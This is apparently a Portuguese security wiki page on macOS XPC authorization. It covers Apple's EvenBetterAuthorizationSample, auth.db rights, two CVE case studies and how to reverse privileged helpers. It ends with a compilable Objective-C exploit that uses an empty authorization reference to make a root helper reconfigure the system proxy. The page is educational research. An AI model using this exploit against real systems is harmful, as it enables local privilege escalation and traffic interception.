macOS XPC Authorization

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XPC Authorization

A Apple também propõe outra forma de autenticar se o processo conectado tem permissões para chamar um método XPC exposto.

Quando uma aplicação precisa executar ações como um usuário privilegiado, em vez de executar o app como usuário privilegiado ela normalmente instala como root um HelperTool como um serviço XPC que pode ser chamado pelo app para realizar essas ações. No entanto, o app que chama o serviço deve ter autorização suficiente.

ShouldAcceptNewConnection always YES

Um exemplo pode ser encontrado em EvenBetterAuthorizationSample. Em App/AppDelegate.m ele tenta conectar-se ao HelperTool. E em HelperTool/HelperTool.m a função shouldAcceptNewConnection não verificará nenhum dos requisitos indicados anteriormente. Ela sempre retornará YES:

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in.  We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);

newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];

return YES;
}

Para mais informações sobre como configurar corretamente esta verificação:

macOS XPC Connecting Process Check

Direitos da aplicação

No entanto, ocorre alguma autorização quando um método do HelperTool é chamado.

A função applicationDidFinishLaunching de App/AppDelegate.m irá criar uma referência de autorização vazia após o aplicativo ter iniciado. Isso deve funcionar sempre.
Em seguida, ela tentará adicionar alguns direitos a essa referência de autorização chamando setupAuthorizationRights:

- (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);

// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).

if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}

[self.window makeKeyAndOrderFront:self];
}

A função setupAuthorizationRights de Common/Common.m irá armazenar no banco de dados de autorização /var/db/auth.db os direitos da aplicação. Observe como ela adicionará apenas os direitos que ainda não estão no banco de dados:

+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus    blockErr;

// First get the right.  If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.

blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef,                                    // authRef
[authRightName UTF8String],                 // rightName
(__bridge CFTypeRef) authRightDefault,      // rightDefinition
(__bridge CFStringRef) authRightDesc,       // descriptionKey
NULL,                                       // bundle (NULL implies main bundle)
CFSTR("Common")                             // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run.  Either way, there's nothing more for
// us to do.
}
}];
}

A função enumerateRightsUsingBlock é usada para obter as permissões das aplicações, que são definidas em commandInfo:

static NSString * kCommandKeyAuthRightName    = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc    = @"authRightDescription";

+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary *  sCommandInfo;

dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}

+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}

+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary *  commandDict;
NSString *      authRightName;
id              authRightDefault;
NSString *      authRightDesc;

// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.

commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);

authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);

authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);

authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);

block(authRightName, authRightDefault, authRightDesc);
}];
}

Isto significa que, ao final deste processo, as permissões declaradas dentro de commandInfo serão armazenadas em /var/db/auth.db. Observe como aí você pode encontrar para cada método que irá exigir autenticação, o nome da permissão e o kCommandKeyAuthRightDefault. Este último indica quem pode obter esse direito.

Existem diferentes escopos para indicar quem pode acessar um direito. Alguns deles são definidos em AuthorizationDB.h (you can find all of them in here), mas como resumo:

Nome	Valor	Descrição
kAuthorizationRuleClassAllow	allow	Qualquer pessoa
kAuthorizationRuleClassDeny	deny	Ninguém
kAuthorizationRuleIsAdmin	is-admin	O usuário atual precisa ser administrador (dentro do grupo admin)
kAuthorizationRuleAuthenticateAsSessionUser	authenticate-session-owner	Solicita que o usuário se autentique.
kAuthorizationRuleAuthenticateAsAdmin	authenticate-admin	Solicita que o usuário se autentique. Ele precisa ser administrador (dentro do grupo admin)
kAuthorizationRightRule	rule	Especifica regras
kAuthorizationComment	comment	Especifica alguns comentários extras sobre o direito

Verificação de direitos

Em HelperTool/HelperTool.m a função readLicenseKeyAuthorization verifica se o chamador está autorizado a executar esse método chamando a função checkAuthorization. Essa função irá verificar se os authData enviados pelo processo chamador têm um formato correto e então verificará o que é necessário para obter o direito de chamar o método específico. Se tudo correr bem, o error retornado será nil:

- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]

// First check that authData looks reasonable.

error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}

// Create an authorization ref from that the external form data contained within.

if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);

// Authorize the right associated with the command.

if (err == errAuthorizationSuccess) {
AuthorizationItem   oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights   = { 1, &oneRight };

oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);

err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}

if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}

return error;
}

Observe que, para verificar os requisitos para obter o direito de chamar esse método, a função authorizationRightForCommand irá apenas verificar o objeto comentado anteriormente commandInfo. Em seguida, ela chamará AuthorizationCopyRights para verificar se possui os direitos para chamar a função (observe que as flags permitem interação com o usuário).

Neste caso, para chamar a função readLicenseKeyAuthorization o kCommandKeyAuthRightDefault está definido como @kAuthorizationRuleClassAllow. Portanto, qualquer pessoa pode chamá-la.

Informações do DB

Foi mencionado que essa informação é armazenada em /var/db/auth.db. Você pode listar todas as regras armazenadas com:

sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';

Então, você pode ler quem pode acessar o direito com:

security authorizationdb read com.apple.safaridriver.allow

Direitos permissivos

Você pode encontrar todas as configurações de permissões in here, mas as combinações que não vão requerer interação do usuário seriam:

‘authenticate-user’: ‘false’

Esta é a chave mais direta. Se definida como false, especifica que um usuário não precisa fornecer autenticação para obter esse direito.
Isso é usado em combinação com uma das 2 abaixo ou indicando um grupo ao qual o usuário deve pertencer.

‘allow-root’: ‘true’

Se um usuário está operando como o root (que tem permissões elevadas), e essa chave está definida como true, o root poderia potencialmente obter esse direito sem autenticação adicional. Contudo, tipicamente, alcançar o status de root já requer autenticação, então isso não é um cenário de “sem autenticação” para a maioria dos usuários.

‘session-owner’: ‘true’

Se definido como true, o dono da sessão (o usuário atualmente logado) receberia automaticamente esse direito. Isso pode contornar autenticação adicional se o usuário já estiver logado.

‘shared’: ‘true’

Essa chave não concede direitos sem autenticação. Em vez disso, se definida como true, significa que, uma vez que o direito tenha sido autenticado, ele pode ser compartilhado entre vários processos sem que cada um precise reautenticar. Mas a concessão inicial do direito ainda exigiria autenticação, a menos que combinada com outras chaves como 'authenticate-user': 'false'.

Você pode use this script para obter os direitos interessantes:

Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)

Rights with 'allow-root': 'true':
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard

Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui

Estudos de Caso: Authorization Bypass

CVE-2024-4395 – Jamf Compliance Editor helper: Ao executar uma auditoria, é criado o arquivo /Library/LaunchDaemons/com.jamf.complianceeditor.helper.plist, expõe o serviço Mach com.jamf.complianceeditor.helper, e exporta -executeScriptAt:arguments:then: sem verificar o AuthorizationExternalForm do chamador ou a assinatura de código. Um exploit trivial chama AuthorizationCreate com uma referência vazia, conecta-se com [[NSXPCConnection alloc] initWithMachServiceName:options:NSXPCConnectionPrivileged], e invoca o método para executar binários arbitrários como root. Notas completas de reversing (mais PoC) em Mykola Grymalyuk’s write-up.
CVE-2025-25251 – FortiClient Mac helper: FortiClient Mac 7.0.0–7.0.14, 7.2.0–7.2.8 and 7.4.0–7.4.2 aceitava mensagens XPC forjadas que chegavam a um helper privilegiado sem verificações de autorização. Como o helper confiava no seu próprio privilegiado AuthorizationRef, qualquer usuário local capaz de enviar mensagens ao serviço podia forçá-lo a executar alterações de configuração arbitrárias ou comandos como root. Detalhes em SentinelOne’s advisory summary.

Dicas de triagem rápida

Quando um app inclui tanto uma GUI quanto um helper, compare os requisitos de assinatura de código e verifique se shouldAcceptNewConnection trava o listener com -setCodeSigningRequirement: (ou valida SecCodeCopySigningInformation). A ausência dessas verificações normalmente gera cenários CWE-863 como no caso Jamf. Uma inspeção rápida fica assim:

codesign --display --requirements - /Applications/Jamf\ Compliance\ Editor.app

Compare o que o helper acha que está autorizando com o que o cliente fornece. Ao fazer reversing, pare em AuthorizationCopyRights e confirme que o AuthorizationRef se origina de AuthorizationCreateFromExternalForm (fornecido pelo cliente) em vez do contexto privilegiado próprio do helper; caso contrário, provavelmente você encontrou um padrão CWE-863 similar aos casos acima.

Reversão de Authorization

Checking if EvenBetterAuthorization is used

Se você encontrar a função: [HelperTool checkAuthorization:command:] provavelmente o processo está usando o esquema de autorização mencionado anteriormente:

Então, se essa função estiver chamando funções como AuthorizationCreateFromExternalForm, authorizationRightForCommand, AuthorizationCopyRights, AuhtorizationFree, está usando EvenBetterAuthorizationSample.

Verifique o /var/db/auth.db para ver se é possível obter permissões para chamar alguma ação privilegiada sem interação do usuário.

Protocol Communication

Em seguida, você precisa encontrar o esquema do protocolo para poder estabelecer uma comunicação com o XPC service.

A função shouldAcceptNewConnection indica o protocolo sendo exportado:

Neste caso, temos o mesmo que no EvenBetterAuthorizationSample, check this line.

Com o nome do protocolo usado, é possível dump its header definition com:

class-dump /Library/PrivilegedHelperTools/com.example.HelperTool

[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
[...]

Por fim, só precisamos saber o nome do Mach Service exposto para estabelecer uma comunicação com ele. Há várias maneiras de encontrar isso:

Em [HelperTool init] onde você pode ver o Mach Service sendo usado:

No launchd plist:

cat /Library/LaunchDaemons/com.example.HelperTool.plist

[...]

<key>MachServices</key>
<dict>
<key>com.example.HelperTool</key>
<true/>
</dict>
[...]

Exploit Exemplo

Neste exemplo são criados:

A definição do protocolo com as funções
Uma auth vazia para solicitar acesso
Uma conexão com o serviço XPC
Uma chamada para a função se a conexão for bem-sucedida

// gcc -framework Foundation -framework Security expl.m -o expl

#import <Foundation/Foundation.h>
#import <Security/Security.h>

// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";

// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end

int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;

// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);

// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);

// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];

// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];

// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);

// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];

// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];

NSLog(@"Finished!");
}

Outros auxiliares de privilégio XPC abusados

https://blog.securelayer7.net/applied-endpointsecurity-framework-previlege-escalation/?utm_source=pocket_shared

Referências

Tip

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